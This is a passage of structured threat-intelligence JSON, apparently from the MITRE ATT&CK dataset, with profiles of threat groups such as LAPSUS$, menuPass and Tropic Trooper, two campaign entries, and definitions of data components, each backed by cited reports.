2021.","url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/"},{"source_name":"Proofpoint TA416 November 2020","description":"Proofpoint Threat Research Team. (2020, November 23). TA416 Goes to Ground and Returns with a Golang PlugX Malware Loader. Retrieved April 13, 2021.","url":"https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader"},{"source_name":"Proofpoint TA416 Europe March 2022","description":"Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022.","url":"https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-01-11T21:51:11.405Z","name":"LAPSUS$","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) is cyber criminal threat group that has been active since at least mid-2021. [LAPSUS$](https://attack.mitre.org/groups/G1004) specializes in large-scale social engineering and extortion operations, including destructive attacks without the use of ransomware. The group has targeted organizations globally, including in the government, manufacturing, higher education, energy, healthcare, technology, telecommunications, and media sectors.(Citation: BBC LAPSUS Apr 2022)(Citation: MSTIC DEV-0537 Mar 2022)(Citation: UNIT 42 LAPSUS Mar 2022)","aliases":["LAPSUS$","DEV-0537","Strawberry Tempest"],"x_mitre_deprecated":false,"x_mitre_version":"2.0","x_mitre_contributors":["David Hughes, BT Security","Matt Brenton, Zurich Insurance Group","Flavio Costa, Cisco","Caio Silva"],"type":"intrusion-set","id":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","created":"2022-06-09T19:14:31.327Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1004","external_id":"G1004"},{"source_name":"Strawberry Tempest","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"DEV-0537","description":"(Citation: MSTIC DEV-0537 Mar 2022)"},{"source_name":"BBC LAPSUS Apr 2022","description":"BBC. (2022, April 1). LAPSUS: Two UK Teenagers Charged with Hacking for Gang. Retrieved June 9, 2022.","url":"https://www.bbc.com/news/technology-60953527"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"},{"source_name":"UNIT 42 LAPSUS Mar 2022","description":"UNIT 42. (2022, March 24). Threat Brief: Lapsus$ Group. Retrieved May 17, 2022.","url":"https://unit42.paloaltonetworks.com/lapsus-group/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T19:24:40.416Z","name":"Chimera","description":"[Chimera](https://attack.mitre.org/groups/G0114) is a suspected China-based threat group that has been active since at least 2018 targeting the semiconductor industry in Taiwan as well as data from the airline industry.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)","aliases":["Chimera"],"x_mitre_deprecated":false,"x_mitre_version":"2.2","type":"intrusion-set","id":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","created":"2020-08-24T17:01:55.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0114","external_id":"G0114"},{"source_name":"Chimera","description":"(Citation: NCC Group Chimera January 2021) "},{"source_name":"Cycraft Chimera April 2020","description":"Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..","url":"https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"},{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.273Z","name":"Service Creation","description":"Initial construction of a new service/daemon (ex: Windows EID 4697 or /var/log daemon logs)","x_mitre_data_source_ref":"x-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T22:38:45.199Z","name":"TA2541","description":"[TA2541](https://attack.mitre.org/groups/G1018) is a cybercriminal group that has been targeting the aviation, aerospace, transportation, manufacturing, and defense industries since at least 2017. [TA2541](https://attack.mitre.org/groups/G1018) campaigns are typically high volume and involve the use of commodity remote access tools obfuscated by crypters and themes related to aviation, transportation, and travel.(Citation: Proofpoint TA2541 February 2022)(Citation: Cisco Operation Layover September 2021)","aliases":["TA2541"],"x_mitre_deprecated":false,"x_mitre_version":"1.1","x_mitre_contributors":["Pooja Natarajan, NEC Corporation India","Aaron Jornet"],"type":"intrusion-set","id":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","created":"2023-09-12T17:00:22.615Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1018","external_id":"G1018"},{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"},{"source_name":"Cisco Operation Layover September 2021","description":"Ventura, V. (2021, September 16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 2023.","url":"https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-02-14T20:35:53.080Z","name":"ToddyCat","description":"[ToddyCat](https://attack.mitre.org/groups/G1022) is a sophisticated threat group that has been active since at least 2020 using custom loaders and malware in multi-stage infection chains against government and military targets across Europe and Asia.(Citation: Kaspersky ToddyCat June 2022)(Citation: Kaspersky ToddyCat Check Logs October 2023)","aliases":["ToddyCat"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"intrusion-set","id":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","created":"2024-01-03T21:34:10.988Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1022","external_id":"G1022"},{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"},{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:52:27.131Z","name":"BITTER","description":"[BITTER](https://attack.mitre.org/groups/G1002) is a suspected South Asian cyber espionage threat group that has been active since at least 2013. [BITTER](https://attack.mitre.org/groups/G1002) has targeted government, energy, and engineering organizations in Pakistan, China, Bangladesh, and Saudi Arabia.(Citation: Cisco Talos Bitter Bangladesh May 2022)(Citation: Forcepoint BITTER Pakistan Oct 2016)","aliases":["BITTER","T-APT-17"],"x_mitre_deprecated":false,"x_mitre_version":"1.1","type":"intrusion-set","id":"intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9","created":"2022-06-01T20:26:53.880Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1002","external_id":"G1002"},{"source_name":"T-APT-17","description":"(Citation: Cisco Talos Bitter Bangladesh May 2022)"},{"source_name":"Forcepoint BITTER Pakistan Oct 2016","description":"Dela Paz, R. (2016, October 21). BITTER: a targeted attack against Pakistan. Retrieved June 1, 2022.","url":"https://www.forcepoint.com/blog/x-labs/bitter-targeted-attack-against-pakistan"},{"source_name":"Cisco Talos Bitter Bangladesh May 2022","description":"Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022.","url":"https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack","mobile-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["RTM"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Oleg Skulkin, Group-IB"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f","type":"intrusion-set","created":"2017-05-31T21:32:10.206Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0048","external_id":"G0048"},{"source_name":"RTM","description":"(Citation: ESET RTM Feb 2017)"},{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"}],"modified":"2020-05-12T22:16:44.650Z","name":"RTM","description":"[RTM](https://attack.mitre.org/groups/G0048) is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name ([RTM](https://attack.mitre.org/software/S0148)). (Citation: ESET RTM Feb 2017)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-19T14:30:03.922Z","name":"menuPass","description":"[menuPass](https://attack.mitre.org/groups/G0045) is a threat group that has been active since at least 2006. Individual members of [menuPass](https://attack.mitre.org/groups/G0045) are known to have acted in association with the Chinese Ministry of State Security's (MSS) Tianjin State Security Bureau and worked for the Huaying Haitai Science and Technology Development Company.(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)\n\n[menuPass](https://attack.mitre.org/groups/G0045) has targeted healthcare, defense, aerospace, finance, maritime, biotechnology, energy, and government sectors globally, with an emphasis on Japanese organizations. In 2016 and 2017, the group is known to have targeted managed IT service providers (MSPs), manufacturing and mining companies, and a university.(Citation: Palo Alto menuPass Feb 2017)(Citation: Crowdstrike CrowdCast Oct 2013)(Citation: FireEye Poison Ivy)(Citation: PWC Cloud Hopper April 2017)(Citation: FireEye APT10 April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)","aliases":["menuPass","Cicada","POTASSIUM","Stone Panda","APT10","Red Apollo","CVNX","HOGFISH","BRONZE RIVERSIDE"],"x_mitre_deprecated":false,"x_mitre_version":"3.0","x_mitre_contributors":["Edward Millington","Michael Cox"],"type":"intrusion-set","id":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","created":"2017-05-31T21:32:09.054Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0045","external_id":"G0045"},{"source_name":"HOGFISH","description":"(Citation: Accenture Hogfish April 2018)"},{"source_name":"POTASSIUM","description":"(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)"},{"source_name":"Stone Panda","description":"(Citation: Palo Alto menuPass Feb 2017)(Citation: Accenture Hogfish April 2018)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)(Citation: Symantec Cicada November 2020)"},{"source_name":"APT10","description":"(Citation: Palo Alto menuPass Feb 2017)(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)(Citation: DOJ APT10 Dec 2018)(Citation: Symantec Cicada November 2020)"},{"source_name":"menuPass","description":"(Citation: Palo Alto menuPass Feb 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)"},{"source_name":"Red Apollo","description":"(Citation: PWC Cloud Hopper April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)"},{"source_name":"CVNX","description":"(Citation: PWC Cloud Hopper April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)"},{"source_name":"BRONZE RIVERSIDE","description":"(Citation: SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022)"},{"source_name":"Cicada","description":"(Citation: Symantec Cicada November 2020)"},{"source_name":"Accenture Hogfish April 2018","description":"Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.","url":"http://web.archive.org/web/20220810112638/https:/www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"},{"source_name":"SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022","description":"Counter Threat Unit Research Team . (2022, June 23). BRONZE STARLIGHT RANSOMWARE OPERATIONS USE HUI LOADER. Retrieved December 7, 2023.","url":"https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader"},{"source_name":"Crowdstrike CrowdCast Oct 2013","description":"Crowdstrike. (2013, October 16). CrowdCasts Monthly: You Have an Adversary Problem. Retrieved March 1, 2017.","url":"https://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem"},{"source_name":"FireEye APT10 April 2017","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"},{"source_name":"FireEye Poison Ivy","description":"FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved September 19, 2024.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-poison-ivy.pdf"},{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"},{"source_name":"Palo Alto menuPass Feb 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/"},{"source_name":"PWC Cloud Hopper April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.","url":"https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf"},{"source_name":"Symantec Cicada November 2020","description":"Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage"},{"source_name":"DOJ APT10 Dec 2018","description":"United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.","url":"https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion"},{"source_name":"District Court of NY APT10 Indictment December 2018","description":"US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020.","url":"https://www.justice.gov/opa/page/file/1122671/download"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-11-01T21:18:51.941Z","name":"File Metadata","description":"Contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/owner, permissions, etc.","x_mitre_data_source_ref":"x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9","x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"x-mitre-data-component","id":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-12T19:17:31.924Z","name":"Operation Wocao","description":"[Operation Wocao](https://attack.mitre.org/groups/G0116) described activities carried out by a China-based cyber espionage adversary. [Operation Wocao](https://attack.mitre.org/groups/G0116) targeted entities within the government, managed service providers, energy, health care, and technology sectors across several countries, including China, France, Germany, the United Kingdom, and the United States. [Operation Wocao](https://attack.mitre.org/groups/G0116) used similar TTPs and tools to APT20, suggesting a possible overlap.(Citation: FoxIT Wocao December 2019)","aliases":["Operation Wocao"],"x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_contributors":["Erik Schamper, @Schamperr, Fox-IT","Maarten van Dantzig, @MaartenVDantzig, Fox-IT"],"type":"intrusion-set","id":"intrusion-set--28f04ed3-8e91-4805-b1f6-869020517871","created":"2020-11-17T20:33:44.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0116","external_id":"G0116"},{"source_name":"Operation Wocao","description":"(Citation: FoxIT Wocao December 2019)"},{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-18T18:24:29.185Z","name":"Tropic Trooper","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) is an unaffiliated threat group that has led targeted campaigns against targets in Taiwan, the Philippines, and Hong Kong. [Tropic Trooper](https://attack.mitre.org/groups/G0081) focuses on targeting government, healthcare, transportation, and high-tech industries and has been active since 2011.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper May 2020)","aliases":["Tropic Trooper","Pirate Panda","KeyBoy"],"x_mitre_deprecated":false,"x_mitre_version":"1.5","x_mitre_contributors":["Edward Millington"],"type":"intrusion-set","id":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","created":"2019-01-29T20:17:48.717Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0081","external_id":"G0081"},{"source_name":"Pirate Panda","description":"(Citation: Crowdstrike Pirate Panda April 2020)"},{"source_name":"Tropic Trooper","description":"(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)"},{"source_name":"KeyBoy","description":"(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper Mar 2018)"},{"source_name":"Crowdstrike Pirate Panda April 2020","description":"Busselen, M. (2020, April 7). On-demand Webcast: CrowdStrike Experts on COVID-19 Cybersecurity Challenges and Recommendations. Retrieved May 20, 2020.","url":"https://www.crowdstrike.com/blog/on-demand-webcast-crowdstrike-experts-on-covid-19-cybersecurity-challenges-and-recommendations/"},{"source_name":"TrendMicro Tropic Trooper May 2020","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf"},{"source_name":"TrendMicro Tropic Trooper Mar 2018","description":"Horejsi, J., et al. (2018, March 14). Tropic Trooper’s New Strategy. Retrieved November 9, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/"},{"source_name":"Unit 42 Tropic Trooper Nov 2016","description":"Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-03-25T21:23:15.556Z","name":"Mustard Tempest","description":"[Mustard Tempest](https://attack.mitre.org/groups/G1020) is an initial access broker that has operated the [SocGholish](https://attack.mitre.org/software/S1124) distribution network since at least 2017. [Mustard Tempest](https://attack.mitre.org/groups/G1020) has partnered with [Indrik Spider](https://attack.mitre.org/groups/G0119) to provide access for the download of additional malware including LockBit, [WastedLocker](https://attack.mitre.org/software/S0612), and remote access tools.(Citation: Microsoft Ransomware as a Service)(Citation: Microsoft Threat Actor Naming July 2023)(Citation: Secureworks Gold Prelude Profile)(Citation: SocGholish-update)","aliases":["Mustard Tempest","DEV-0206","TA569","GOLD PRELUDE","UNC1543"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"intrusion-set","id":"intrusion-set--0d4ac089-ced4-4cc4-a989-174d08e6d030","created":"2023-12-06T19:00:11.581Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1020","external_id":"G1020"},{"source_name":"DEV-0206","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"TA569","description":"(Citation: Secureworks Gold Prelude Profile)"},{"source_name":"GOLD PRELUDE","description":"(Citation: Secureworks Gold Prelude Profile)"},{"source_name":"UNC1543","description":"(Citation: Secureworks Gold Prelude Profile)"},{"source_name":"SocGholish-update","description":"Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"},{"source_name":"Secureworks Gold Prelude Profile","description":"Secureworks. (n.d.). GOLD PRELUDE . Retrieved March 22, 2024.","url":"https://www.secureworks.com/research/threat-profiles/gold-prelude"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--1067aa74-5796-4d9b-b4f1-a4c9eb6fd9da","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.275Z","name":"Response Metadata","description":"Contextual data about an Internet-facing resource gathered from a scan, such as running services or ports","x_mitre_data_source_ref":"x-mitre-data-source--38fe306c-bdec-4f3d-8521-b72dd32dbd17","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-06T14:05:01.054Z","name":"2015 Ukraine Electric Power Attack","description":"[2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028) was a [Sandworm Team](https://attack.mitre.org/groups/G0034) campaign during which they used [BlackEnergy](https://attack.mitre.org/software/S0089) (specifically BlackEnergy3) and [KillDisk](https://attack.mitre.org/software/S0607) to target and disrupt transmission and distribution substations within the Ukrainian power grid. This campaign was the first major public attack conducted against the Ukrainian power grid by Sandworm Team.","aliases":["2015 Ukraine Electric Power Attack"],"first_seen":"2015-12-01T05:00:00.000Z","last_seen":"2016-01-01T05:00:00.000Z","x_mitre_first_seen_citation":"(Citation: Booz Allen Hamilton)","x_mitre_last_seen_citation":"(Citation: Booz Allen Hamilton)","x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"campaign","id":"campaign--46421788-b6e1-4256-b351-f8beffd1afba","created":"2023-09-27T13:11:52.340Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0028","external_id":"C0028"},{"source_name":"Booz Allen Hamilton","description":"Booz Allen Hamilton When The Lights Went Out Retrieved. 2019/10/22 ","url":"https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["ics-attack","enterprise-attack"]},{"modified":"2023-02-14T16:34:50.791Z","name":"C0018","description":"\n[C0018](https://attack.mitre.org/campaigns/C0018) was a month-long ransomware intrusion that successfully deployed [AvosLocker](https://attack.mitre.org/software/S1053) onto a compromised network. The unidentified actors gained initial access to the victim network through an exposed server and used a variety of open-source tools prior to executing [AvosLocker](https://attack.mitre.org/software/S1053).(Citation: Costa AvosLocker May 2022)(Citation: Cisco Talos Avos Jun 2022)","aliases":["C0018"],"first_seen":"2022-02-01T05:00:00.000Z","last_seen":"2022-03-01T05:00:00.000Z","x_mitre_first_seen_citation":"(Citation: Cisco Talos Avos Jun 2022)","x_mitre_last_seen_citation":"(Citation: Cisco Talos Avos Jun 2022)","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_contributors":["Flavio Costa, Cisco"],"type":"campaign","id":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","created":"2023-01-17T21:42:34.998Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0018","external_id":"C0018"},{"source_name":"Costa AvosLocker May 2022","description":"Costa, F. (2022, May 1). RaaS AvosLocker Incident Response Analysis. Retrieved January 11, 2023.","url":"https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory"},{"source_name":"Cisco Talos Avos Jun 